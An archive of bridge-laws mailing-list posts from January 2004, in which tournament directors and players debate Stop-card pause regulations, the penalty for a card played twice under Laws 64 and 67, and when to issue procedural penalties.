> Subject: Re: [blml] Stop > Date: Fri, 30 Jan 2004 09:31:55 -0800 > > > From: "Nigel Guthrie" > > > Another mailing list is currently discussing Stop regulations. > > Under current rules, many can't (or can't be bothered) to > > estimate 10 seconds. Why not provide each table with an > > electronic timing mechanism -- or a simple hourglass (I mean > > *ten-second* glass). After you have jumped the bidding, you > > just turn over the glass. Your LHO must wait until the sand > > has run through before calling. > > > > I would prefer a regulation that specified a minimum pause > > before any call or play and a maximum time for the action > > itself; but that suggestion seems to attract only ridicule. > > You can police my desired outcome, however, with two such > > glasses stuck together, simultaneously turned over -- that > > time 7 seconds and 10 seconds, say. > > > The ACBL uses 10 seconds as the required wait over a skip bid, but I have > never seen a 10-second wait by someone who has no problem. 10 seconds is a > very long time. > > Typically a player will wait 10 seconds before passing when there is a > problem, and a shorter time when there is none. You can't nail people who do > this, so the system doesn't work. > > Also, tempo must be controlled in situations other than over a skip bid, so > the system isn't sufficient without including that. Fast passes and fast > doubles (except, perhaps, over a skip bid), and fast plays, are not being > policed at all. Slowness that is not required is not being policed either. > > I would prefer doing away with time requirements, and just say that a player > must act like there is a problem in any situation where there could likely be > one. It is not merely a matter of time, but of hand-study. After all, that is > what the Laws require. > > Before the Stop regulation, we could always tell whether a player had a > problem or not, and that needed to be corrected. The cure was not to write a > regulation, but to enforce the Laws. > > Marv > Marvin L. French > San Diego, California > > > > > > > > > > --__--__-- > > Message: 10 > From: "Sven Pran" > To: "blml" > Subject: RE: [blml] Stop > Date: Fri, 30 Jan 2004 18:40:10 +0100 > > > Nigel Guthrie > > Another mailing list is currently discussing Stop regulations. > > Under current rules, many can't (or can't be bothered) to > > estimate 10 seconds. Why not provide each table with an > > electronic timing mechanism -- or a simple hourglass (I mean > > *ten-second* glass). After you have jumped the bidding, you > > just turn over the glass. Your LHO must wait until the sand > > has run through before calling. > > > > I would prefer a regulation that specified a minimum pause > > before any call or play and a maximum time for the action > > itself; but that suggestion seems to attract only ridicule. > > You can police my desired outcome, however, with two such > > glasses stuck together, simultaneously turned over -- that > > time 7 seconds and 10 seconds, say. > > We feel very comfortable with our current regulation: > > Whenever a player makes a skip bid (or some other call requiring "stop") he > announces this by placing the STOP card on the table or by saying the word > "STOP". > > His LHO must now wait until the stop card is taken back (or the word > "continue" or other words to that effect is spoken) before making his call > which then should come without any further delay. However, LHO is always > entitled to a full ten second pause even if the stop card is taken back (or > "continue" is announced) before this period has elapsed. > > LHO should not be burdened with keeping track of the ten seconds, his mind > will usually be occupied with deciding what call to make. > > Regards Sven > > > > --__--__-- > > Message: 11 > From: "Sven Pran" > To: "blml" > Subject: RE: [blml] card played twice > Date: Fri, 30 Jan 2004 18:46:17 +0100 > > Ed Reppert > > > Martin ends his post with a reference to L64C, noticing there is no > > > need for a further rectification, since even a one-trick penalty > > > restores to 6 tricks. However, I have since heard back from my friend, > > > and it turns out he made only 4 tricks (AKQ of diamonds and CA), so a > > > 2-trick penalty restores to 6, and a one-trick penalty would leave > > > declarer with a trick short. > > > > In the latter case can you not assign an adjusted score IAW 64C? > > No, read the last sentence in Law 67B1(b): It specifically says "the > one-trick penalty of Law 64" it does not say "the penalties of Law 64". > > There may be a case for the application of Law 12A1 but I find even that > rather doubtful, simply because of the precise wording in Law 67B1(b). > > Regards Sven > > > > --__--__-- > > Message: 12 > Date: Fri, 30 Jan 2004 17:58:50 +0000 > To: blml@rtflb.org > From: David Stevenson > Subject: Re: [blml] Stop > > Marvin French wrote > > >The ACBL uses 10 seconds as the required wait over a skip bid, but I have > >never seen a 10-second wait by someone who has no problem. 10 seconds is a > >very long time. > > > >Typically a player will wait 10 seconds before passing when there is a > >problem, and a shorter time when there is none. You can't nail people who do > >this, so the system doesn't work. > > > >Also, tempo must be controlled in situations other than over a skip bid, so > >the system isn't sufficient without including that. Fast passes and fast > >doubles (except, perhaps, over a skip bid), and fast plays, are not being > >policed at all. Slowness that is not required is not being policed either. > > > >I would prefer doing away with time requirements, and just say that a player > >must act like there is a problem in any situation where there could likely be > >one. It is not merely a matter of time, but of hand-study. After all, that is > >what the Laws require. > > > >Before the Stop regulation, we could always tell whether a player had a > >problem or not, and that needed to be corrected. The cure was not to write a > >regulation, but to enforce the Laws. > > One thing Marv does not say though it is deducible is that it is to > the player's advantage to follow the Stop regs if he wishes to play an > ethical game. > > When he says no-one waits that long with no problem he is > exaggerating: the number of people who do follow them, however small > that number may be, has gained from the reg. > > Another two advantages of the method of letting opponents dictate the > length of time are that [a] people are more likely to wait until the > card disappears and [b] it is less clear what pausing an irregular > length of time means. > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > > > > --__--__-- > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > > End of blml Digest --- Outgoing Mail is certified virus free by AVG antivirus Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.567 / Virus Database: 358 - Release Date: 24/01/2004 From siegmund@mosquitonet.com Fri Jan 30 20:02:42 2004 From: siegmund@mosquitonet.com (Gordon Bower) Date: Fri, 30 Jan 2004 11:02:42 -0900 (AKST) Subject: [blml] card played twice In-Reply-To: <000101c3e758$f7045360$6900a8c0@WINXP> Message-ID: On Fri, 30 Jan 2004, Sven Pran wrote: > > In the latter case can you not assign an adjusted score IAW 64C? > > No, read the last sentence in Law 67B1(b): It specifically says "the > one-trick penalty of Law 64" it does not say "the penalties of Law 64". About this precise wording of L671(b): it says, in my book, "and (penalty) he is deemed to have revoked on the defective trick" ... after which it jumps to the reasonable conclusion that if the offender has no card of the suit led he couldn't possibly have won a trick with a card of the suit led and saves you the trouble of deciding which half of 64 to apply. I feel comfortable applying a 2-trick L64 penalty. It helpfully says he may be subject to a one-trick penalty... but I don't see where it says he is absolutely not subject to any other penalty (64C, a 2-trick penalty, or whatever else.) Now, for a second flaw in 67B1(b): If the offender has no card of the suit led, he is deemed to have revoked .... is this true even if offender *has never possessed* a card of the suit led, and could have perfectly legally discarded anything - or even won the defective trick by ruffing it? Apparently so. Maybe this is why the 2-trick provision is disabled: if you win any trick at all, you have won a trick with a card you could have played to the revoke trick. GRB From blml@blakjak.com Fri Jan 30 20:41:20 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 30 Jan 2004 20:41:20 +0000 Subject: [blml] Stop In-Reply-To: <000001c3e768$e04fff60$6900a8c0@WINXP> References: <15YyCxOy7pGAFw$N@blakjak.demon.co.uk> <000001c3e768$e04fff60$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> David Stevenson >> Sven Pran wrote >.......... >> On RGB we are trying to find out what calls require a 'stop' in >> Norway. >> >> Perhaps you could tell us? >The following is my attempt to translate the current regulation on STOP in >Norway into English: > >General: >Stop is used to give opponents 10 seconds compulsory pause for thought after >a call which must be expected to cause need for thought. Pause for thought >is most common after skip bids (including opening bids on the two-level or >higher) and in competitive auctions from the three-level and higher. >A stop-pause begins after opponents have received answers to possible >questions on the call. >The pause shall last approximately 10 seconds and it is the player who has >shown the stop card (or said the word "stop") who indicates end of the >pause. [s] >I hope this covers your need for knowledge? Thanks, I'll quote this. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri Jan 30 20:42:43 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 30 Jan 2004 20:42:43 +0000 Subject: [blml] card played twice In-Reply-To: References: <000101c3e758$f7045360$6900a8c0@WINXP> Message-ID: Ed Reppert wrote > >On Friday, Jan 30, 2004, at 12:46 US/Eastern, Sven Pran wrote: > >> No, read the last sentence in Law 67B1(b): It specifically says "the >> one-trick penalty of Law 64" it does not say "the penalties of Law 64". > >Hmm. Okay. I guess. :-) > >> There may be a case for the application of Law 12A1 but I find even >>that >> rather doubtful, simply because of the precise wording in Law 67B1(b). > >I thought of 12A1, but rejected it in favor of 64C. OTOH, if 64C >doesn't apply, I don't see how the wording of 67B1(b), precise or not, >precludes 12A1. > >On another note, I'm not one to favor hitting players with procedural >penalties just because I don't like what they did, but this particular >irregularity seems very unusual, even strange, to me. I can't conceive >of any legitimate or even excusable reason for a player to pick up a >played card and put it back in his hand. So it seems to me that >*regardless* of how we rule on the disposition of tricks, this offender >is due a significant PP. People do very silly things for crazy reasons. I doubt you would want ot give a PP if you were there talking to the poor bloke. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From svenpran@online.no Fri Jan 30 20:51:39 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 30 Jan 2004 21:51:39 +0100 Subject: [blml] help In-Reply-To: <002101c3e76e$04d088a0$b0b32e0a@dan> Message-ID: <000001c3e772$e12d5b80$6900a8c0@WINXP> What the H... is this ?????? Some 43KB of rubbish received, and I haven't the faintest idea of what is the purpose? Sven > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of > Denis O'Kane > Sent: 30. januar 2004 21:17 > To: blml@rtflb.org > Subject: [blml] help > > help > ----- Original Message ----- > From: > To: > Sent: Friday, January 30, 2004 6:01 PM > Subject: blml digest, Vol 1 #1323 - 12 msgs Well - I snipped the balance from here on. From svenpran@online.no Fri Jan 30 21:09:27 2004 From: svenpran@online.no (Sven Pran) Date: Fri, 30 Jan 2004 22:09:27 +0100 Subject: [blml] card played twice In-Reply-To: Message-ID: <000001c3e775$585e49b0$6900a8c0@WINXP> > Gordon Bower > On Fri, 30 Jan 2004, Sven Pran wrote: >=20 > > > In the latter case can you not assign an adjusted score IAW 64C? > > > > No, read the last sentence in Law 67B1(b): It specifically says "the > > one-trick penalty of Law 64" it does not say "the penalties of Law = 64". >=20 > About this precise wording of L671(b): it says, in my book, "and > (penalty) he is deemed to have revoked on the defective trick" ... = after > which it jumps to the reasonable conclusion that if the offender has = no > card of the suit led he couldn't possibly have won a trick with a card = of > the suit led and saves you the trouble of deciding which half of 64 to > apply. The two-trick revoke penalty applies also when the offender has won a subsequent trick with a card he could legally have played to the revoke trick. Sorry - I don't accept your reasoning for stating "the one-trick penalty" rather than "the penalties" in this sentence in Law 67B1(b). The specific wording in Law 67B1(b) must be assumed to be there for a = reason and this reason can hardly be anything else than the case is to be = treated as a one-trick revoke, never as a two-trick revoke. The consequence of = this is that the ordinary handling of established revokes as laid out in Law = 64 is suspended, the case is specifically to be treated as a one-trick = revoke. I do not feel comfortable with this consequence, thus I have already = raised the question whether the relevant text in Law 67B1(b) should not be = changed to "the penalties of Law 64"=20 =20 > I feel comfortable applying a 2-trick L64 penalty. It helpfully says = he > may be subject to a one-trick penalty... but I don't see where it says = he > is absolutely not subject to any other penalty (64C, a 2-trick = penalty, or > whatever else.) >=20 > Now, for a second flaw in 67B1(b): >=20 > If the offender has no card of the suit led, he is deemed to have = revoked > .... is this true even if offender *has never possessed* a card of the > suit led, and could have perfectly legally discarded anything - or = even > won the defective trick by ruffing it? Apparently so. Maybe this is = why > the 2-trick provision is disabled: if you win any trick at all, you = have > won a trick with a card you could have played to the revoke trick. The point behind this rule I believe is that if you have a card of the required suit your choice of discards to restore the deficient trick is severely limited, like in this case. You will usually not have gained anything from the delayed play of a card to the deficient trick.=20 If you do not have, and never had any card in the required denomination = then you may chose any card available from your hand and will (of course) = select the card that gives you the least possible damage. This is an advantage = that is "honored" by treating the case as an established revoke. Sven From adam@irvine.com Fri Jan 30 21:22:55 2004 From: adam@irvine.com (Adam Beneschan) Date: Fri, 30 Jan 2004 13:22:55 -0800 Subject: [blml] help In-Reply-To: Your message of "Fri, 30 Jan 2004 21:51:39 +0100." <000001c3e772$e12d5b80$6900a8c0@WINXP> Message-ID: <200401302122.NAA09488@mailhub.irvine.com> Sven wrote: > What the H... is this ?????? > > Some 43KB of rubbish received, and I haven't the faintest idea of what is > the purpose? It looks to me as though somebody sent a "help" request to the mailing list server (one of those automated mailing-list functions)---and then either the server erroneously sent something to the list, or the person who made the request accidentally pushed the wrong button and sent it to the list instead of the server. -- Adam From ehaa@starpower.net Fri Jan 30 22:01:58 2004 From: ehaa@starpower.net (Eric Landau) Date: Fri, 30 Jan 2004 17:01:58 -0500 Subject: [blml] Stop In-Reply-To: <010101c3e752$0715a760$999468d5@tinyhrieuyik> Message-ID: <5.2.0.9.0.20040130165346.02290a90@pop.starpower.net> At 11:56 AM 1/30/04, Nigel wrote: >Another mailing list is currently discussing Stop regulations. >Under current rules, many can't (or can't be bothered) to >estimate 10 seconds. Why not provide each table with an >electronic timing mechanism -- or a simple hourglass (I mean >*ten-second* glass). After you have jumped the bidding, you >just turn over the glass. Your LHO must wait until the sand >has run through before calling. > >I would prefer a regulation that specified a minimum pause >before any call or play and a maximum time for the action >itself; but that suggestion seems to attract only ridicule. >You can police my desired outcome, however, with two such >glasses stuck together, simultaneously turned over -- that >time 7 seconds and 10 seconds, say. The appropriate thing to do in a stop situation is to pause for about 10 seconds while appearing to be considering your call. Unfortunately, many people seem to think that only the first clause of the above matters, whereas in fact the second is far more important. If you normally study your cards for 3-4 seconds before calling, and you do exactly the same thing in a stop situation, you are effectively complying with the spirit, if not the exact letter, of the rule. OTOH, if you pause for precisely 10 seconds while staring obviously at your wristwatch, or an electronic timing mechanism on the table, or a simple hourglass, or whatever, you are flagrantly violating the spirit of the rule. Some players do their best to behave in an actively ethical manner in stop situations, others do not, and the difference has very little to do with the length of their respective pauses. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From ereppert@rochester.rr.com Fri Jan 30 22:28:45 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 30 Jan 2004 17:28:45 -0500 Subject: [blml] card played twice In-Reply-To: <000101c3e769$b33604b0$6900a8c0@WINXP> Message-ID: On Friday, Jan 30, 2004, at 14:46 US/Eastern, Sven Pran wrote: > Do you have the luck of never meeting an absent-minded player nor being > absent-minded yourself? I agree that this is a rather unusual case, > but I > wouldn't completely discard the possibility that it could happen > inadvertently. Primarily this case called for my smile rather than for > my > anger. Anger doesn't enter into it. And I wouldn't completely discard that possibility either. Still, do we not wish to encourage players to not be absent-minded in this way? From ereppert@rochester.rr.com Fri Jan 30 22:32:12 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 30 Jan 2004 17:32:12 -0500 Subject: FW: [blml] card played twice In-Reply-To: <000201c3e76a$0b99bc00$6900a8c0@WINXP> Message-ID: <25A5EFD2-5374-11D8-8C91-0030656F6826@rochester.rr.com> On Friday, Jan 30, 2004, at 14:48 US/Eastern, Sven Pran wrote: > My apologies to Ed who will get this twice, I hit "enter" before > changing > the return address to "blml" (It would appear I can be absent-minded > myself) :-) No problem, Sven. I already answered this. I hope I sent it to the list. :-) From blml@blakjak.com Sat Jan 31 00:48:47 2004 From: blml@blakjak.com (David Stevenson) Date: Sat, 31 Jan 2004 00:48:47 +0000 Subject: [blml] card played twice In-Reply-To: References: <000101c3e758$f7045360$6900a8c0@WINXP> Message-ID: Gordon Bower wrote >On Fri, 30 Jan 2004, Sven Pran wrote: > >> > In the latter case can you not assign an adjusted score IAW 64C? >> >> No, read the last sentence in Law 67B1(b): It specifically says "the >> one-trick penalty of Law 64" it does not say "the penalties of Law 64". > >About this precise wording of L671(b): it says, in my book, "and >(penalty) he is deemed to have revoked on the defective trick" ... after >which it jumps to the reasonable conclusion that if the offender has no >card of the suit led he couldn't possibly have won a trick with a card of >the suit led and saves you the trouble of deciding which half of 64 to >apply. > >I feel comfortable applying a 2-trick L64 penalty. It helpfully says he >may be subject to a one-trick penalty... but I don't see where it says he >is absolutely not subject to any other penalty (64C, a 2-trick penalty, or >whatever else.) No, I am afraid not. When it says (penalty) in the Laws it is accepted that what follows *is* the penalty: you do not just apply a different penalty. That wording does not allow the two-trick penalty. Similarly L12A1 only applies when there is no other penalty, so you could not apply L12A1 as well. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Sat Jan 31 01:09:41 2004 From: blml@blakjak.com (David Stevenson) Date: Sat, 31 Jan 2004 01:09:41 +0000 Subject: [blml] card played twice In-Reply-To: References: <000101c3e769$b33604b0$6900a8c0@WINXP> Message-ID: Ed Reppert wrote >On Friday, Jan 30, 2004, at 14:46 US/Eastern, Sven Pran wrote: > >> Do you have the luck of never meeting an absent-minded player nor being >> absent-minded yourself? I agree that this is a rather unusual case, >>but I >> wouldn't completely discard the possibility that it could happen >> inadvertently. Primarily this case called for my smile rather than >>for my >> anger. > >Anger doesn't enter into it. And I wouldn't completely discard that >possibility either. Still, do we not wish to encourage players to not >be absent-minded in this way? If you are going to give PPs for absent-minded failure to follow the rules the scorers will go on strike. But, no, not really. The principle of PPs should be that you give them when there was irreparable damage [eg something made a board unplayable at another table] or when someone has really reached the ethical boundaries [using UI completely blatantly] or if someone repeats things [you have warned this player before for the same infraction]. But not otherwise. I also think you have the wrong feel for this problem. No player would try to cheat this way - it is too silly and cannot gain. It has all the hallmarks of total confusion by some poor player who is going to be extremely embarrassed about it anyway. No sane TD will give a PP at such a time. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From adam@irvine.com Sat Jan 31 01:33:24 2004 From: adam@irvine.com (Adam Beneschan) Date: Fri, 30 Jan 2004 17:33:24 -0800 Subject: [blml] card played twice In-Reply-To: Your message of "Sat, 31 Jan 2004 01:09:41 GMT." Message-ID: <200401310133.RAA18154@mailhub.irvine.com> David Stevenson wrote: > I also think you have the wrong feel for this problem. No player > would try to cheat this way - it is too silly and cannot gain. It has > all the hallmarks of total confusion by some poor player who is going to > be extremely embarrassed about it anyway. No sane TD will give a PP at > such a time. I'm not sure what to think about this problem. I'd tend to agree that "no player would try to cheat this way", with one exception that I know of---a certain player nicknamed "Fat Howard"---but he's deceased so I guess he doesn't count. Perhaps some person who is brand new to duplicate might try this thinking they might be able to get away with it. On the other hand, it's hard for me to imagine someone being *so* absent-minded that they would take a played card and put it back in their hand, given that players don't normally insert cards into their hands during the play period. It's almost like someone claiming they absent-mindedly pulled a gun out of their pocket and pointed it at another person and pulled the trigger. OK, that's a gross exaggeration, but that's approximately how this situation strikes me. So now I'm wondering whether Herman just made up the whole thing to point out a possible deficiency in the Laws. I don't see anything wrong with him doing so, by the way. However, I'm pretty sure that Fat Howard would have tried something like this if he had thought of it---and for all I know, maybe he did. One of his most famous antics (around Southern California) happened when his expert LHO was declaring with Axxxx opposite KJxx of trumps. She cashed the ace, then led low (her LHO following low), then paused trying to figure out whether to finesse or drop. Howard said, "Would it help if I showed you my hand?" and he did, and there were no trumps in the hand, so declarer put in the jack, and Howard pulled the queen out of his shirt pocket and played it, making some rude comment, and the league suspended him for a year or so. It's possible he was stupid enough to think he could get away with this, but the much more likely possibility was that his primary goal at the bridge table was to be disruptive and make life as unpleasant for as many people as possible. -- Adam From gordon@gordonrainsford.co.uk Sat Jan 31 02:03:06 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Sat, 31 Jan 2004 02:03:06 +0000 Subject: [blml] card played twice In-Reply-To: <401A801C.40908@hdw.be> References: <000001c3e73e$ee35fcd0$6900a8c0@WINXP> <401A801C.40908@hdw.be> Message-ID: <9C1F482E-5391-11D8-9D6B-0003936A6522@gordonrainsford.co.uk> On 30 Jan 2004, at 16:02, Herman De Wael wrote: > Well done Sven, for spotting the problem! > > Sven Pran wrote: > >> There is a fallacy in this reasoning - see my comments below. >>> Sinot Martin writes >>> >>>> First, we notice that LHO in trick six (eight) played a card >>>> which already has been played. Therefore, trick six (eight) >>>> is now defective - that card is moved to trick four where it >>>> has been played first. At the moment where this is discovered, >>>> (L67) LHO must add a legal card in the defective trick (and >>>> show it). If he can play a diamond, there is no further penalty >>>> (but it does not change the owner of the trick); if he cannot >>>> play a diamond, he is subject to the "one trick penalty of L64". > > Martin ends his post with a reference to L64C, noticing there is no > need for a further rectification, since even a one-trick penalty > restores to 6 tricks. However, I have since heard back from my friend, > and it turns out he made only 4 tricks (AKQ of diamonds and CA), so a > 2-trick penalty restores to 6, and a one-trick penalty would leave > declarer with a trick short. > >> Assuming that the error is noticed and called attention to >> immediately when >> the DJ is played the second time the Director shall apply Law 67B1(a) >> and >> have the DJ restored to trick four (without changing the ownership of >> that >> trick). Thereafter the offender will play any card we cares (he is >> now out >> of diamonds) to trick six (eight) and there is no revoke, no penalty, >> no >> nothing. Declarer gets his 6 tricks. > > Let's drop this assumption - the error was not noticed when the DJ was > played, since that was merely the 13th diamond. Only declarer knew > something was wrong, but he wasn't certain what. The error could have > been noticed when the small diamond was played a second time, but > no-one did. By the time it was noticed (trick 12) it was to late to > apply L67B1(a). > >>>> Assuming the second is the case, >> How can the second be the case? The offender had his DJ to be >> restored to >> trick four! > > It is the case. > >> this line suggests that LHO loses >>>> one trick. However (is this it, Herman?) a close look at L64A2 >>>> (this must be the relevant law, >> We have no revoke since the offender could restore a diamond to trick >> four, >> so there is no case for Law 64. >> since LHO did not win the >>>> defective trick) reveals that it costs one trick if any are made, >>>> but it costs another trick if an additional trick has been made >>>> with a card that could legally have been played in the revoke >>>> trick. That, of course, is the case here - LHO made the diamond >>>> jack, which certainly could have been played in the defective >>>> trick. So this seems to suggest a two trick penalty. It seems >>>> that we have a conflict here: is it one or two tricks? >> In this case there is no room for any conflict, but if we change it >> slightly >> there appears to be one: >> If the DJ has been finally played the second time and attention to the >> situation is not called until the offender no longer has any diamonds >> then >> we must turn to Law 67B1(b) and rule an established revoke in trick >> four. > > That is indeed what we must do. > >> However, as Law 67B1(b) explicitly states that (only) the one-trick >> revoke >> penalty in Law 64 can be applied we are bound by that limitation. >> Without >> this limitation we would have had to rule an ordinary revoke case on >> trick >> four. > > And thus 4+1=5 tricks, one less than the absolute minimum available on > the hand. And no L64C either? Why no L64C? It applies to "any established revoke, including those not subject to penalty". Since it requires the director to assign an adjusted score (rather than to award a penalty), I don't find the objections so far persuasive. -- Gordon Rainsford London UK From gordon@gordonrainsford.co.uk Sat Jan 31 02:06:18 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Sat, 31 Jan 2004 02:06:18 +0000 Subject: [blml] card played twice In-Reply-To: <000101c3e758$f7045360$6900a8c0@WINXP> References: <000101c3e758$f7045360$6900a8c0@WINXP> Message-ID: <0E9411F3-5392-11D8-9D6B-0003936A6522@gordonrainsford.co.uk> On 30 Jan 2004, at 17:46, Sven Pran wrote: >> In the latter case can you not assign an adjusted score IAW 64C? > > No, read the last sentence in Law 67B1(b): It specifically says "the > one-trick penalty of Law 64" it does not say "the penalties of Law 64". L64C does not provide a penalty - it allows for an adjustment in equity. -- Gordon Rainsford London UK From gordon@gordonrainsford.co.uk Sat Jan 31 02:17:14 2004 From: gordon@gordonrainsford.co.uk (Gordon Rainsford) Date: Sat, 31 Jan 2004 02:17:14 +0000 Subject: [blml] card played twice In-Reply-To: <000001c3e775$585e49b0$6900a8c0@WINXP> References: <000001c3e775$585e49b0$6900a8c0@WINXP> Message-ID: <9603D8D0-5393-11D8-9D6B-0003936A6522@gordonrainsford.co.uk> On 30 Jan 2004, at 21:09, Sven Pran wrote: > The specific wording in Law 67B1(b) must be assumed to be there for a > reason > and this reason can hardly be anything else than the case is to be > treated > as a one-trick revoke, never as a two-trick revoke. I agree so far. > The consequence of this > is that the ordinary handling of established revokes as laid out in > Law 64 > is suspended I don't agree with this. Nothing in L67B1(b) suggests that L64C (which is described as applying to "any established revoke") does not apply in this instance. From blml@blakjak.com Sat Jan 31 03:16:04 2004 From: blml@blakjak.com (David Stevenson) Date: Sat, 31 Jan 2004 03:16:04 +0000 Subject: [blml] card played twice In-Reply-To: <200401310133.RAA18154@mailhub.irvine.com> References: <200401310133.RAA18154@mailhub.irvine.com> Message-ID: Adam Beneschan wrote >David Stevenson wrote: > >> I also think you have the wrong feel for this problem. No player >> would try to cheat this way - it is too silly and cannot gain. It has >> all the hallmarks of total confusion by some poor player who is going to >> be extremely embarrassed about it anyway. No sane TD will give a PP at >> such a time. > >I'm not sure what to think about this problem. I'd tend to agree that >"no player would try to cheat this way", with one exception that I >know of---a certain player nicknamed "Fat Howard"---but he's deceased >so I guess he doesn't count. Perhaps some person who is brand new to >duplicate might try this thinking they might be able to get away with >it. On the other hand, it's hard for me to imagine someone being *so* >absent-minded that they would take a played card and put it back in >their hand, given that players don't normally insert cards into their >hands during the play period. It's almost like someone claiming they >absent-mindedly pulled a gun out of their pocket and pointed it at >another person and pulled the trigger. OK, that's a gross >exaggeration, but that's approximately how this situation strikes me. All I can say is I am surprised. Yo must play against a much more organised sort of player in clubs than I do. Where I play anyone can do anything, and I have certainly seen a card picked up before now. It really is no more silly than revoking. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From walt1@verizon.net Sat Jan 31 04:57:55 2004 From: walt1@verizon.net (Walt) Date: Fri, 30 Jan 2004 23:57:55 -0500 Subject: FW: [blml] card played twice In-Reply-To: <000201c3e76a$0b99bc00$6900a8c0@WINXP> References: <000201c3e76a$0b99bc00$6900a8c0@WINXP> Message-ID: <6.0.1.1.0.20040130235040.035f8550@incoming.verizon.net> >Ed Reppert >............ > > On another note, I'm not one to favor hitting players with procedural > > penalties just because I don't like what they did, but this particular > > irregularity seems very unusual, even strange, to me. I can't conceive > > of any legitimate or even excusable reason for a player to pick up a > > played card and put it back in his hand. So it seems to me that > > *regardless* of how we rule on the disposition of tricks, this offender > > is due a significant PP. At 02:48 PM 30/01/2004, Sven Pran wrote: >Do you have the luck of never meeting an absent-minded player nor being >absent-minded yourself? I agree that this is a rather unusual case, but I >wouldn't completely discard the possibility that it could happen >inadvertently. Primarily this case called for my smile rather than for my >anger. Sven I'm very absent minded, but I've never picked up a card and put it back in my hand. I play in a part of the world where we have recorders. Reporting this incident to the recorder is what I would have considered. On the other hand, if I (as I think perhaps you do) knew the person involved and thought he could well have done what he did absent mindedly then I, too, would have grinned and not pursued it further. Walt From ereppert@rochester.rr.com Sat Jan 31 07:10:40 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Sat, 31 Jan 2004 02:10:40 -0500 Subject: [blml] card played twice In-Reply-To: Message-ID: <93BDEF5A-53BC-11D8-8C91-0030656F6826@rochester.rr.com> On Friday, Jan 30, 2004, at 20:09 US/Eastern, David Stevenson wrote: > If you are going to give PPs for absent-minded failure to follow the > rules the scorers will go on strike. > > But, no, not really. The principle of PPs should be that you give > them when there was irreparable damage [eg something made a board > unplayable at another table] or when someone has really reached the > ethical boundaries [using UI completely blatantly] or if someone > repeats things [you have warned this player before for the same > infraction]. But not otherwise. If you say so. > I also think you have the wrong feel for this problem. No player > would try to cheat this way - it is too silly and cannot gain. It has > all the hallmarks of total confusion by some poor player who is going > to be extremely embarrassed about it anyway. No sane TD will give a > PP at such a time. So now I'm insane? Thanks, David. Thanks a lot. From wayne.burrows@xtra.co.nz Sat Jan 31 09:18:32 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Sat, 31 Jan 2004 22:18:32 +1300 Subject: [blml] Misunderstood Explanation Message-ID: <010601c3e7db$33af81e0$a42d37d2@Desktop> Partner in response to a question by RHO explains my bid. RHO bids and I ask LHO for an explanation. It is clear from LHO's explanation that either he did not understand or did not hear partner's explanation of my call. Is there any obligation on me to correct his misunderstanding? Wayne From svenpran@online.no Sat Jan 31 09:44:37 2004 From: svenpran@online.no (Sven Pran) Date: Sat, 31 Jan 2004 10:44:37 +0100 Subject: [blml] Misunderstood Explanation In-Reply-To: <010601c3e7db$33af81e0$a42d37d2@Desktop> Message-ID: <000001c3e7de$d778f3d0$6900a8c0@WINXP> > Wayne Burrows > Partner in response to a question by RHO explains my bid. >=20 > RHO bids and I ask LHO for an explanation. >=20 > It is clear from LHO's explanation that either he did not understand = or > did not hear partner's explanation of my call. >=20 > Is there any obligation on me to correct his misunderstanding? At this time definitely NO And if you are happy with your partners explanation (to your RHO) = neither is there any obligation on you at any later stage during the board (end of auction respectively end of play depending on you being on the declaring = or the defending side). Regards Sven From hermandw@hdw.be Sat Jan 31 10:06:18 2004 From: hermandw@hdw.be (Herman De Wael) Date: Sat, 31 Jan 2004 11:06:18 +0100 Subject: [blml] card played twice In-Reply-To: <200401310133.RAA18154@mailhub.irvine.com> References: <200401310133.RAA18154@mailhub.irvine.com> Message-ID: <401B7E1A.9030803@hdw.be> Adam Beneschan wrote: > > So now I'm wondering whether Herman just made up the whole thing to > point out a possible deficiency in the Laws. I don't see anything > wrong with him doing so, by the way. > Thanks for the compliment Adam, but I'm not to blame. I'm not that creative. > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From nigel.guthrie@ntlworld.com Sat Jan 31 10:03:34 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Sat, 31 Jan 2004 10:03:34 -0000 Subject: [blml] NOT News -- Claim References: Message-ID: <00d901c3e7e1$83b5e660$8b9868d5@tinyhrieuyik> [Adam Wildavski] > On the facts as presented I agree with the TD's ruling > and I find the AC's ruling baffling. [Nigel] Adam Wildavski appears to agree with Jaap van der Neut. It would be interesting to learn David Burn's view. --- 